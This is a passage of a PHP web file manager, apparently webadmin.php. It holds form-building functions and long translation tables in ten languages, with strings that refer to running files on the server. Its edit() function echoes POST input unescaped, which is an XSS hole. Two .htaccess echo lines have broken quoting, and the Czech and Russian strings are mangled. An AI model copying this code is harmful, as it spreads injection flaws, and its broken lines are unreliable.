        <input type="file" name="upload" onfocus="activate(\'other\')" />
        <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
    </td>
</tr>
';

}

function create_box () {
    global $cols;

    echo '<tr>
    <td colspan="' . $cols . '" id="create">
        <select name="create_type" size="1" onfocus="activate(\'create\')">
        <option value="file">' . word('file') . '</option>
        <option value="directory">' . word('directory') . '</option>
        </select>
        <input type="text" name="create_name" onfocus="activate(\'create\')" />
        <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
    </td>
</tr>
';

}

function edit ($file) {
    global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;

    html_header();

    echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>

<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

    <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';

    if (array_key_exists('content', $_POST)) {
        echo $_POST['content'];
    } else {
        $f = fopen($file, 'r');
        while (!feof($f)) {
            echo html(fread($f, 8192));
        }
        fclose($f);
    }

    if (!empty($_POST['user'])) {
        echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
    }
    if (!empty($_POST['basic_auth'])) {
        if ($win) {
            $authfile = str_replace('\\', '/', $directory) . $htpasswd;
        } else {
            $authfile = $directory . $htpasswd;
        }
        echo "\nAuthType Basic\nAuthName "Restricted Directory"\n";
        echo 'AuthUserFile "' . html($authfile) . ""\n";
        echo 'Require valid-user';
    }

    echo '</textarea>

    <hr />
';

    if ($apache && basename($file) == $htpasswd) {
        echo '
    ' . word('user') . ': <input type="text" name="user" />
    ' . word('password') . ': <input type="password" name="password" />
    <input type="submit" value="' . word('add') . '" />

    <hr />
';

    }

    if ($apache && basename($file) == $htaccess) {
        echo '
    <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />

    <hr />
';

    }

    echo '
    <input type="hidden" name="action" value="edit" />
    <input type="hidden" name="file" value="' . html($file) . '" />
    <input type="hidden" name="dir" value="' . html($directory) . '" />
    <input type="reset" value="' . word('reset') . '" id="red_button" />
    <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

    html_footer();

}

function spacer () {
    global $cols;

    echo '<tr>
    <td colspan="' . $cols . '" style="height: 1em"></td>
</tr>
';

}

function textfieldsize ($content) {

    $size = strlen($content) + 5;
    if ($size < 30) $size = 30;

    return $size;

}

function request_dump () {

    foreach ($_REQUEST as $key => $value) {
        echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
    }

}

/* ------------------------------------------------------------------------- */

function html ($string) {
    global $site_charset;
    return htmlentities($string, ENT_COMPAT, $site_charset);
}

function word ($word) {
    global $words, $word_charset;
    return htmlentities($words[$word], ENT_COMPAT, $word_charset);
}

function phrase ($phrase, $arguments) {
    global $words;
    static $search;

    if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";

    for ($i = 0; $i < sizeof($arguments); $i++) {
        $arguments[$i] = nl2br(html($arguments[$i]));
    }

    $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');

    return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));

}

function getwords ($lang) {
    global $word_charset, $date_format;

    switch ($lang) {
    case 'de':

        $date_format = 'd.m.y H:i:s';
        $word_charset = 'ISO-8859-1';

        return array(
'directory' => 'Verzeichnis',
'file' => 'Datei',
'filename' => 'Dateiname',

'size' => 'Größe',
'permission' => 'Rechte',
'owner' => 'Eigner',
'group' => 'Gruppe',
'other' => 'Andere',
'functions' => 'Funktionen',

'read' => 'lesen',
'write' => 'schreiben',
'execute' => 'ausführen',

'create_symlink' => 'Symlink erstellen',
'delete' => 'löschen',
'rename' => 'umbenennen',
'move' => 'verschieben',
'copy' => 'kopieren',
'edit' => 'editieren',
'download' => 'herunterladen',
'upload' => 'hochladen',
'create' => 'erstellen',
'change' => 'wechseln',
'save' => 'speichern',
'set' => 'setze',
'reset' => 'zurücksetzen',
'relative' => 'Pfad zum Ziel relativ',

'yes' => 'Ja',
'no' => 'Nein',
'back' => 'zurück',
'destination' => 'Ziel',
'symlink' => 'Symbolischer Link',
'no_output' => 'keine Ausgabe',

'user' => 'Benutzername',
'password' => 'Kennwort',
'add' => 'hinzufügen',
'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',

'uploaded' => '"[%1]" wurde hochgeladen.',
'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
'already_exists' => '"[%1]" existiert bereits.',
'created' => '"[%1]" wurde erstellt.',
'not_created' => '"[%1]" konnte nicht erstellt werden.',
'really_delete' => 'Sollen folgende Dateien wirklich gelöscht werden?',
'deleted' => "Folgende Dateien wurden gelöscht:\n[%1]",
'not_deleted' => "Folgende Dateien konnten nicht gelöscht werden:\n[%1]",
'rename_file' => 'Benenne Datei um:',
'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
'move_files' => 'Verschieben folgende Dateien:',
'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
'copy_files' => 'Kopiere folgende Dateien:',
'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
'not_edited' => '"[%1]" kann nicht editiert werden.',
'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
'saved' => '"[%1]" wurde gespeichert.',
'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
'permission_for' => 'Rechte für "[%1]":',
'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
'not_readable' => '"[%1]" kann nicht gelesen werden.'
        );

    case 'fr':

        $date_format = 'd.m.y H:i:s';
        $word_charset = 'ISO-8859-1';

        return array(
'directory' => 'Répertoire',
'file' => 'Fichier',
'filename' => 'Nom fichier',

'size' => 'Taille',
'permission' => 'Droits',
'owner' => 'Propriétaire',
'group' => 'Groupe',
'other' => 'Autres',
'functions' => 'Fonctions',

'read' => 'Lire',
'write' => 'Ecrire',
'execute' => 'Exécuter',

'create_symlink' => 'Créer lien symbolique',
'delete' => 'Effacer',
'rename' => 'Renommer',
'move' => 'Déplacer',
'copy' => 'Copier',
'edit' => 'Ouvrir',
'download' => 'Télécharger sur PC',
'upload' => 'Télécharger sur serveur',
'create' => 'Créer',
'change' => 'Changer',
'save' => 'Sauvegarder',
'set' => 'Exécuter',
'reset' => 'Réinitialiser',
'relative' => 'Relatif',

'yes' => 'Oui',
'no' => 'Non',
'back' => 'Retour',
'destination' => 'Destination',
'symlink' => 'Lien symbollique',
'no_output' => 'Pas de sortie',

'user' => 'Utilisateur',
'password' => 'Mot de passe',
'add' => 'Ajouter',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
'already_exists' => '"[%1]" existe déjà.',
'created' => '"[%1]" a été créé.',
'not_created' => '"[%1]" n a pas pu être créé.',
'really_delete' => 'Effacer le fichier?',
'deleted' => "Ces fichiers ont été détuits:\n[%1]",
'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]",
'rename_file' => 'Renomme fichier:',
'renamed' => '"[%1]" a été renommé en "[%2]".',
'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
'move_files' => 'Déplacer ces fichiers:',
'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
'copy_files' => 'Copier ces fichiers:',
'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" ne peut être ouvert.',
'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
'saved' => '"[%1]" a été sauvegardé.',
'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
'permission_for' => 'Droits de "[%1]":',
'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
'not_readable' => '"[%1]" ne peut pas être ouvert.'
        );

    case 'it':

        $date_format = 'd-m-Y H:i:s';
        $word_charset = 'ISO-8859-1';

        return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Nome File',

'size' => 'Dimensioni',
'permission' => 'Permessi',
'owner' => 'Proprietario',
'group' => 'Gruppo',
'other' => 'Altro',
'functions' => 'Funzioni',

'read' => 'leggi',
'write' => 'scrivi',
'execute' => 'esegui',

'create_symlink' => 'crea link simbolico',
'delete' => 'cancella',
'rename' => 'rinomina',
'move' => 'sposta',
'copy' => 'copia',
'edit' => 'modifica',
'download' => 'download',
'upload' => 'upload',
'create' => 'crea',
'change' => 'cambia',
'save' => 'salva',
'set' => 'imposta',
'reset' => 'reimposta',
'relative' => 'Percorso relativo per la destinazione',

'yes' => 'Si',
'no' => 'No',
'back' => 'indietro',
'destination' => 'Destinazione',
'symlink' => 'Link simbolico',
'no_output' => 'no output',

'user' => 'User',
'password' => 'Password',
'add' => 'aggiungi',
'add_basic_auth' => 'aggiungi autenticazione base',

'uploaded' => '"[%1]" è stato caricato.',
'not_uploaded' => '"[%1]" non è stato caricato.',
'already_exists' => '"[%1]" esiste già.',
'created' => '"[%1]" è stato creato.',
'not_created' => '"[%1]" non è stato creato.',
'really_delete' => 'Cancello questi file ?',
'deleted' => "Questi file sono stati cancellati:\n[%1]",
'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
'rename_file' => 'File rinominato:',
'renamed' => '"[%1]" è stato rinominato in "[%2]".',
'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
'move_files' => 'Sposto questi file:',
'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
'copy_files' => 'Copio questi file',
'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" non può essere modificato.',
'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
'saved' => '"[%1]" è stato salvato.',
'not_saved' => '"[%1]" non è stato salvato.',
'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
'permission_for' => 'Permessi di "[%1]":',
'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
'not_readable' => '"[%1]" non può essere letto.'
        );

    case 'nl':

        $date_format = 'n/j/y H:i:s';
        $word_charset = 'ISO-8859-1';

        return array(
'directory' => 'Directory',
'file' => 'Bestand',
'filename' => 'Bestandsnaam',

'size' => 'Grootte',
'permission' => 'Bevoegdheid',
'owner' => 'Eigenaar',
'group' => 'Groep',
'other' => 'Anderen',
'functions' => 'Functies',

'read' => 'lezen',
'write' => 'schrijven',
'execute' => 'uitvoeren',

'create_symlink' => 'maak symlink',
'delete' => 'verwijderen',
'rename' => 'hernoemen',
'move' => 'verplaatsen',
'copy' => 'kopieren',
'edit' => 'bewerken',
'download' => 'downloaden',
'upload' => 'uploaden',
'create' => 'aanmaken',
'change' => 'veranderen',
'save' => 'opslaan',
'set' => 'instellen',
'reset' => 'resetten',
'relative' => 'Relatief pat naar doel',

'yes' => 'Ja',
'no' => 'Nee',
'back' => 'terug',
'destination' => 'Bestemming',
'symlink' => 'Symlink',
'no_output' => 'geen output',

'user' => 'Gebruiker',
'password' => 'Wachtwoord',
'add' => 'toevoegen',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" is verstuurd.',
'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
'already_exists' => '"[%1]" bestaat al.',
'created' => '"[%1]" is aangemaakt.',
'not_created' => '"[%1]" kan niet worden aangemaakt.',
'really_delete' => 'Deze bestanden verwijderen?',
'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
'rename_file' => 'Bestandsnaam veranderen:',
'renamed' => '"[%1]" heet nu "[%2]".',
'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
'move_files' => 'Verplaats deze bestanden:',
'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
'copy_files' => 'Kopieer deze bestanden:',
'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan niet worden bewerkt.',
'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
'saved' => '"[%1]" is opgeslagen.',
'not_saved' => '"[%1]" is niet opgeslagen.',
'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
'permission_for' => 'Bevoegdheid voor "[%1]":',
'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
'not_readable' => '"[%1]" kan niet worden gelezen.'
        );

    case 'se':

        $date_format = 'n/j/y H:i:s';
        $word_charset = 'ISO-8859-1';
 
        return array(
'directory' => 'Mapp',
'file' => 'Fil',
'filename' => 'Filnamn',
 
'size' => 'Storlek',
'permission' => 'Säkerhetsnivå',
'owner' => 'Ägare',
'group' => 'Grupp',
'other' => 'Andra',
'functions' => 'Funktioner',
 
'read' => 'Läs',
'write' => 'Skriv',
'execute' => 'Utför',
 
'create_symlink' => 'Skapa symlink',
'delete' => 'Radera',
'rename' => 'Byt namn',
'move' => 'Flytta',
'copy' => 'Kopiera',
'edit' => 'Ändra',
'download' => 'Ladda ner',
'upload' => 'Ladda upp',
'create' => 'Skapa',
'change' => 'Ändra',
'save' => 'Spara',
'set' => 'Markera',
'reset' => 'Töm',
'relative' => 'Relative path to target',
 
'yes' => 'Ja',
'no' => 'Nej',
'back' => 'Tillbaks',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',
 
'user' => 'Användare',
'password' => 'Lösenord',
'add' => 'Lägg till',
'add_basic_auth' => 'add basic-authentification',
 
'uploaded' => '"[%1]" har laddats upp.',
'not_uploaded' => '"[%1]" kunde inte laddas upp.',
'already_exists' => '"[%1]" finns redan.',
'created' => '"[%1]" har skapats.',
'not_created' => '"[%1]" kunde inte skapas.',
'really_delete' => 'Radera dessa filer?',
'deleted' => "De här filerna har raderats:\n[%1]",
'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
'rename_file' => 'Byt namn på fil:',
'renamed' => '"[%1]" har bytt namn till "[%2]".',
'not_renamed' => '"[%1] kunde inte döpas om till "[%2]".',
'move_files' => 'Flytta dessa filer:',
'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
'copy_files' => 'Kopiera dessa filer:',
'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan inte ändras.',
'executed' => "\"[%1]\" har utförts:\n{%2}",
'not_executed' => "\"[%1]\" kunde inte utföras:\n{%2}",
'saved' => '"[%1]" har sparats.',
'not_saved' => '"[%1]" kunde inte sparas.',
'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.',
'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.',
'permission_for' => 'Rättigheter för "[%1]":',
'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" kan inte läsas.'
        );

    case 'sp':

        $date_format = 'j/n/y H:i:s';
        $word_charset = 'ISO-8859-1';

        return array(
'directory' => 'Directorio',
'file' => 'Archivo',
'filename' => 'Nombre Archivo',

'size' => 'Tamaño',
'permission' => 'Permisos',
'owner' => 'Propietario',
'group' => 'Grupo',
'other' => 'Otros',
'functions' => 'Funciones',

'read' => 'lectura',
'write' => 'escritura',
'execute' => 'ejecución',

'create_symlink' => 'crear enlace',
'delete' => 'borrar',
'rename' => 'renombrar',
'move' => 'mover',
'copy' => 'copiar',
'edit' => 'editar',
'download' => 'bajar',
'upload' => 'subir',
'create' => 'crear',
'change' => 'cambiar',
'save' => 'salvar',
'set' => 'setear',
'reset' => 'resetear',
'relative' => 'Path relativo',

'yes' => 'Si',
'no' => 'No',
'back' => 'atrás',
'destination' => 'Destino',
'symlink' => 'Enlace',
'no_output' => 'sin salida',

'user' => 'Usuario',
'password' => 'Clave',
'add' => 'agregar',
'add_basic_auth' => 'agregar autentificación básica',

'uploaded' => '"[%1]" ha sido subido.',
'not_uploaded' => '"[%1]" no pudo ser subido.',
'already_exists' => '"[%1]" ya existe.',
'created' => '"[%1]" ha sido creado.',
'not_created' => '"[%1]" no pudo ser creado.',
'really_delete' => '¿Borra estos archivos?',
'deleted' => "Estos archivos han sido borrados:\n[%1]",
'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
'rename_file' => 'Renombra archivo:',
'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
'move_files' => 'Mover estos archivos:',
'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
'copy_files' => 'Copiar estos archivos:',
'copied' => "Estos archivos han sido copiados a  \"[%2]\":\n[%1]",
'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" no pudo ser editado.',
'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
'saved' => '"[%1]" ha sido salvado.',
'not_saved' => '"[%1]" no pudo ser salvado.',
'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
'permission_for' => 'Permisos de "[%1]":',
'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
'not_readable' => '"[%1]" no pudo ser leído.'
        );

    case 'dk':

        $date_format = 'n/j/y H:i:s';
        $word_charset = 'ISO-8859-1';

        return array(
'directory' => 'Mappe',
'file' => 'Fil',
'filename' => 'Filnavn',

'size' => 'Størrelse',
'permission' => 'Rettighed',
'owner' => 'Ejer',
'group' => 'Gruppe',
'other' => 'Andre',
'functions' => 'Funktioner',

'read' => 'læs',
'write' => 'skriv',
'execute' => 'kør',

'create_symlink' => 'opret symbolsk link',
'delete' => 'slet',
'rename' => 'omdøb',
'move' => 'flyt',
'copy' => 'kopier',
'edit' => 'rediger',
'download' => 'download',
'upload' => 'upload',
'create' => 'opret',
'change' => 'skift',
'save' => 'gem',
'set' => 'sæt',
'reset' => 'nulstil',
'relative' => 'Relativ sti til valg',

'yes' => 'Ja',
'no' => 'Nej',
'back' => 'tilbage',
'destination' => 'Distination',
'symlink' => 'Symbolsk link',
'no_output' => 'ingen resultat',

'user' => 'Bruger',
'password' => 'Kodeord',
'add' => 'tilføj',
'add_basic_auth' => 'tilføj grundliggende rettigheder',

'uploaded' => '"[%1]" er blevet uploaded.',
'not_uploaded' => '"[%1]" kunnu ikke uploades.',
'already_exists' => '"[%1]" findes allerede.',
'created' => '"[%1]" er blevet oprettet.',
'not_created' => '"[%1]" kunne ikke oprettes.',
'really_delete' => 'Slet disse filer?',
'deleted' => "Disse filer er blevet slettet:\n[%1]",
'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
'rename_file' => 'Omdød fil:',
'renamed' => '"[%1]" er blevet omdøbt til "[%2]".',
'not_renamed' => '"[%1] kunne ikke omdøbes til "[%2]".',
'move_files' => 'Flyt disse filer:',
'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
'copy_files' => 'Kopier disse filer:',
'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan ikke redigeres.',
'executed' => "\"[%1]\" er blevet kørt korrekt:\n{%2}",
'not_executed' => "\"[%1]\" kan ikke køres korrekt:\n{%2}",
'saved' => '"[%1]" er blevet gemt.',
'not_saved' => '"[%1]" kunne ikke gemmes.',
'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
'permission_for' => 'Rettigheder for "[%1]":',
'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sættes til [%2].',
'not_readable' => '"[%1]" Kan ikke læses.'
        );

    case 'tr':

        $date_format = 'n/j/y H:i:s';
        $word_charset = 'ISO-8859-1';

        return array(
'directory' => 'Klasör',
'file' => 'Dosya',
'filename' => 'dosya adi',

'size' => 'boyutu',
'permission' => 'Izin',
'owner' => 'sahib',
'group' => 'Grup',
'other' => 'Digerleri',
'functions' => 'Fonksiyonlar',

'read' => 'oku',
'write' => 'yaz',
'execute' => 'çalistir',

'create_symlink' => 'yarat symlink',
'delete' => 'sil',
'rename' => 'ad degistir',
'move' => 'tasi',
'copy' => 'kopyala',
'edit' => 'düzenle',
'download' => 'indir',
'upload' => 'yükle',
'create' => 'create',
'change' => 'degistir',
'save' => 'kaydet',
'set' => 'ayar',
'reset' => 'sifirla',
'relative' => 'Hedef yola göre',

'yes' => 'Evet',
'no' => 'Hayir',
'back' => 'Geri',
'destination' => 'Hedef',
'symlink' => 'Kýsa yol',
'no_output' => 'çikti yok',

'user' => 'Kullanici',
'password' => 'Sifre',
'add' => 'ekle',
'add_basic_auth' => 'ekle basit-authentification',

'uploaded' => '"[%1]" yüklendi.',
'not_uploaded' => '"[%1]" yüklenemedi.',
'already_exists' => '"[%1]" kullanilmakta.',
'created' => '"[%1]" olusturuldu.',
'not_created' => '"[%1]" olusturulamadi.',
'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
'deleted' => "Bu dosyalar silindi:\n[%1]",
'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
'rename_file' => 'Adi degisen dosya:',
'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
'move_files' => 'Tasinan dosyalar:',
'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
'copy_files' => 'Kopyalanan dosyalar:',
'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" düzenlenemiyor.',
'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}",
'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}",
'saved' => '"[%1]" kaydedildi.',
'not_saved' => '"[%1]" kaydedilemedi.',
'symlinked' => '"[%2]" den "[%1]" e kýsayol oluþturuldu.',
'not_symlinked' => '"[%2]"den "[%1]" e kýsayol oluþturulamadý.',
'permission_for' => 'Izinler "[%1]":',
'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
'not_readable' => '"[%1]" okunamiyor.'
        );

    case 'cs':

        $date_format = 'd.m.y H:i:s';
        $word_charset = 'UTF-8';

        return array(
'directory' => 'AdresáÅâ„¢',
'file' => 'Soubor',
'filename' => 'Jméno souboru',

'size' => 'Velikost',
'permission' => 'Práva',
'owner' => 'Vlastník',
'group' => 'Skupina',
'other' => 'Ostatní',
'functions' => 'Funkce',

'read' => 'Čtení',
'write' => 'Zápis',
'execute' => 'Spouštění',

'create_symlink' => 'VytvoÅâ„¢it symbolický odkaz',
'delete' => 'Smazat',
'rename' => 'PÅâ„¢ejmenovat',
'move' => 'PÅâ„¢esunout',
'copy' => 'Zkopírovat',
'edit' => 'OtevÅ™ít',
'download' => 'Stáhnout',
'upload' => 'Nahraj na server',
'create' => 'VytvoÅâ„¢it',
'change' => 'Změnit',
'save' => 'Uložit',
'set' => 'Nastavit',
'reset' => 'zpět',
'relative' => 'Relatif',

'yes' => 'Ano',
'no' => 'Ne',
'back' => 'Zpět',
'destination' => 'Destination',
'symlink' => 'Symbolický odkaz',
'no_output' => 'Prázdný výstup',

'user' => 'Uživatel',
'password' => 'Heslo',
'add' => 'PÅâ„¢idat',
'add_basic_auth' => 'pÅâ„¢idej základní autentizaci',

'uploaded' => 'Soubor "[%1]" byl nahrán na server.',
'not_uploaded' => 'Soubor "[%1]" nebyl nahrán na server.',
'already_exists' => 'Soubor "[%1]" už exituje.',
'created' => 'Soubor "[%1]" byl vytvoÅâ„¢en.',
'not_created' => 'Soubor "[%1]" nemohl být  vytvoÅâ„¢en.',
'really_delete' => 'Vymazat soubor?',
'deleted' => "Byly vymazány tyto soubory:\n[%1]",
'not_deleted' => "Tyto soubory nemohly být vytvoÅâ„¢eny:\n[%1]",
'rename_file' => 'PÅâ„¢ejmenuj soubory:',
'renamed' => 'Soubor "[%1]" byl pÅâ„¢ejmenován na "[%2]".',
'not_renamed' => 'Soubor "[%1]" nemohl být pÅâ„¢ejmenován na "[%2]".',
'move_files' => 'PÅâ„¢emístit tyto soubory:',
'moved' => "Tyto soubory byly pÅâ„¢emístÄ›ny do \"[%2]\":\n[%1]",
'not_moved' => "Tyto soubory nemohly být pÅâ„¢emístÄ›ny do \"[%2]\":\n[%1]",
'copy_files' => 'Zkopírovat tyto soubory:',
'copied' => "Tyto soubory byly zkopírovány do \"[%2]\":\n[%1]",
'not_copied' => "Tyto soubory nemohly být zkopírovány do \"[%2]\":\n[%1]",
'not_edited' => 'Soubor "[%1]" nemohl být otevÅâ„¢en.',
'executed' => "SOubor \"[%1]\" byl spuštěn :\n{%2}",
'not_executed' => "Soubor \"[%1]\" nemohl být spuÅ¡tÄ›n:\n{%2}",
'saved' => 'Soubor "[%1]" byl uložen.',
'not_saved' => 'Soubor "[%1]" nemohl být uložen.',
'symlinked' => 'Byl vyvoÅâ„¢en symbolický odkaz "[%2]" na soubor "[%1]".',
'not_symlinked' => 'Symbolický odkaz "[%2]" na soubor "[%1]" nemohl být vytvoÅâ„¢en.',
'permission_for' => 'Práva k "[%1]":',
'permission_set' => 'Práva k "[%1]" byla zmÄ›nÄ›na na [%2].',
'permission_not_set' => 'Práva k "[%1]" nemohla být zmÄ›nÄ›na na [%2].',
'not_readable' => 'Soubor "[%1]" není možno pÅâ„¢ečíst.'
        );

    case 'ru':

        $date_format = 'd.m.y H:i:s';
        $word_charset = 'KOI8-R';

        return array(
'directory' => 'ëÁÔÁÌÏÇ',
'file' => 'æÁÊÌ',
'filename' => 'éÍÑ ÆÁÊÌÁ',

'size' => 'òÁÚÍÅÒ',
'permission' => 'ðÒÁ×Á',
'owner' => 'èÏÚÑÉÎ',
'group' => 'çÒÕÐÐÁ',
'other' => 'äÒÕÇÉÅ',
'functions' => 'æÕÎËÃÉÑ',

'read' => 'ÞÉÔÁÔØ',
'write' => 'ÐÉÓÁÔØ',
'execute' => '×ÙÐÏÌÎÉÔØ',

'create_symlink' => 'óÄÅÌÁÔØ ÓÉÍÌÉÎË',
'delete' => 'ÕÄÁÌÉÔØ',
'rename' => 'ÐÅÒÅÉÍÅÎÏ×ÁÔØ',
'move' => 'ÐÅÒÅÄ×ÉÎÕÔØ',
'copy' => 'ËÏÐÉÒÏ×ÁÔØ',
'edit' => 'ÒÅÄÁËÔÉÒÏ×ÁÔØ',
'download' => 'ÓËÁÞÁÔØ',
'upload' => 'ÚÁËÁÞÁÔØ',
'create' => 'ÓÄÅÌÁÔØ',
'change' => 'ÐÏÍÅÎÑÔØ',
'save' => 'ÓÏÈÒÁÎÉÔØ',
'set' => 'ÕÓÔÁÎÏ×ÉÔØ',
'reset' => 'ÓÂÒÏÓÉÔØ',
